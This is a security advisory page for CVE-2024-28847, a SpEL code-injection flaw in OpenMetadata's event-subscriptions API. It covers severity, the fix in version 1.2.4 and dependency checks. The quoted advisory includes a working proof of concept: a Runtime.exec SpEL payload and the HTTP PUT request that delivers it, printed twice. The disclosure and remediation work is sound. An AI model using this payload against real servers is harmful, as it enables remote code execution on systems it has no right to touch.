CVE-2024-28847: Openmetadata service OpenMetadata Vulnerable To A SpEL Vulnerability
HIGH
Advisory Identifier:
GHSA-8p5r-6mvv-2435
Advisory Summary
CVE-2024-28847 is a HIGH (CVSS 8.8) openmetadata vulnerable to a spel vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Openmetadata service libraries in the Maven ecosystem. The issue involves openmetadata vulnerable to a spel injection in `put /api/v1/events/subscriptions` (`ghsl-2023-251`). Remediation is available by upgrading affected packages to version 1.2.4.
CVE-2024-28847 at a Glance
CVE Identifier
CVE-2024-28847
GHSA Identifier
GHSA-8p5r-6mvv-2435
Severity
HIGH
CVSS v3.1 Base Score
8.8
CWE Classification
CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product
Openmetadata service
Package Ecosystem
Maven
Published Date
Last Updated
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2024-28847
To remediate this vulnerability, upgrade all affected Openmetadata service dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
org.open-metadata:openmetadata-service
fixed: 1.2.4
<dependency>
<groupId>org.open-metadata</groupId>
<artifactId>openmetadata-service</artifactId>
<version>1.2.4</version>
</dependency>
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.open-metadataHow to Check if You Are Affected
To determine whether your Java application is affected by CVE-2024-28847, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.open-metadataAnalyze the terminal output to locate any version of Openmetadata service in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.4), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.open-metadata command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Openmetadata service, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)
***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***
Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from [`EventSubscriptionRepository.prepare()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83), which can lead to Remote Code Execution.
```java
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}
private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}
```
`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):
```java
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
```
Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by [`EventSubscriptionResource.createOrUpdateEventSubscription()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289):
```java
@PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}
```
This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept
- Prepare the payload
- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
- Send the payload using a valid JWT token:
```http
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353
{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
```
- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to Remote Code Execution.
#### Remediation
Use [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.
CVE-2024-28847 Affected Openmetadata service Versions
1 component(s)
Fixed Versions:
1.2.4
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.open-metadata:openmetadata-service
|
Maven |
< 1.2.4
|
1.2.4
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-8p5r-6mvv-2435
NVD — CVE-2024-28847
NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-28847
Openmetadata service Source Repository
REPOSITORY
https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289
GitHub Advisory / Wiki
ADVISORY
https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata
Frequently Asked Questions
What is CVE-2024-28847?
CVE-2024-28847 is a security vulnerability in Openmetadata service involving OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Openmetadata service versions are affected?
Affected versions include releases prior to 1.2.4 across affected packages: org.open-metadata:openmetadata-service.
What version fixes CVE-2024-28847?
Upgrading to 1.2.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openmetadata-service affected?
Yes, org.open-metadata:openmetadata-service is affected in releases prior to 1.2.4. Upgrade your dependency to 1.2.4 or later.
What is the CVSS score of CVE-2024-28847?
CVE-2024-28847 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-28847?
CVE-2024-28847 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Maven dependencies for CVE-2024-28847?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.open-metadata'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-8p5r-6mvv-2435",
"modified" : "2024-04-24T17:06:00Z",
"published" : "2024-04-24T17:06:00Z",
"aliases" : [ "CVE-2024-28847" ],
"summary" : "OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)",
"details" : "### SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nSimilarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from [`EventSubscriptionRepository.prepare()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83), which can lead to Remote Code Execution.\n\n```java\n @Override\n public void prepare(EventSubscription entity, boolean update) {\n validateFilterRules(entity);\n }\n\n private void validateFilterRules(EventSubscription entity) {\n // Resolve JSON blobs into Rule object and perform schema based validation\n if (entity.getFilteringRules() != null) {\n List<EventFilterRule> rules = entity.getFilteringRules().getRules();\n // Validate all the expressions in the rule\n for (EventFilterRule rule : rules) {\n AlertUtil.validateExpression(rule.getCondition(), Boolean.class);\n }\n rules.sort(Comparator.comparing(EventFilterRule::getName));\n }\n }\n```\n\n`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):\n\n```java\npublic Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {\n repository.prepareInternal(entity, true);\n\n // If entity does not exist, this is a create operation, else update operation\n ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());\n MetadataOperation operation = createOrUpdateOperation(resourceContext);\n OperationContext operationContext = new OperationContext(entityType, operation);\n if (operation == CREATE) {\n CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);\n authorizer.authorize(securityContext, operationContext, createResourceContext);\n entity = addHref(uriInfo, repository.create(uriInfo, entity));\n return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();\n }\n authorizer.authorize(securityContext, operationContext, resourceContext);\n PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);\n addHref(uriInfo, response.getEntity());\n return response.toResponse();\n}\n```\n\nNote that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated.\n\nIn order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by [`EventSubscriptionResource.createOrUpdateEventSubscription()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289):\n\n```java\n@PUT\n@Operation(\n operationId = \"createOrUpdateEventSubscription\",\n summary = \"Updated an existing or create a new Event Subscription\",\n description = \"Updated an existing or create a new Event Subscription\",\n responses = {\n @ApiResponse(\n responseCode = \"200\",\n description = \"create Event Subscription\",\n content =\n @Content(\n mediaType = \"application/json\",\n schema = @Schema(implementation = CreateEventSubscription.class))),\n @ApiResponse(responseCode = \"400\", description = \"Bad request\")\n })\npublic Response createOrUpdateEventSubscription(\n @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {\n // Only one Creation is allowed for Data Insight\n if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {\n try {\n repository.getByName(null, create.getName(), repository.getFields(\"id\"));\n } catch (EntityNotFoundException ex) {\n if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {\n throw new BadRequestException(\"Data Insight Report Alert already exists.\");\n }\n }\n }\n EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());\n Response response = createOrUpdate(uriInfo, securityContext, eventSub);\n repository.updateEventSubscription((EventSubscription) response.getEntity());\n return response;\n}\n```\n\nThis vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n\n#### Proof of concept\n- Prepare the payload\n\t- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)\n\t- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n- Send the payload using a valid JWT token:\n```http\nPUT /api/v1/events/subscriptions HTTP/1.1\nHost: localhost:8585\nAuthorization: Bearer <non-admin JWT>\naccept: application/json\nConnection: close\nContent-Type: application/json\nContent-Length: 353\n\n{\n\"name\":\"ActivityFeedAlert\",\"displayName\":\"Activity Feed Alerts\",\"alertType\":\"ChangeEvent\",\"filteringRules\":{\"rules\":[\n{\"name\":\"pwn\",\"effect\":\"exclude\",\"condition\":\"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))\"}]},\"subscriptionType\":\"ActivityFeed\",\"enabled\":true\n}\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.open-metadata:openmetadata-service"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.2.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-8p5r-6mvv-2435"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28847"
}, {
"type" : "WEB",
"url" : "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-metadata/OpenMetadata"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289"
}, {
"type" : "ADVISORY",
"url" : "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-04-24T17:06:00Z",
"nvd_published_at" : "2024-03-15T20:15:10Z"
}
}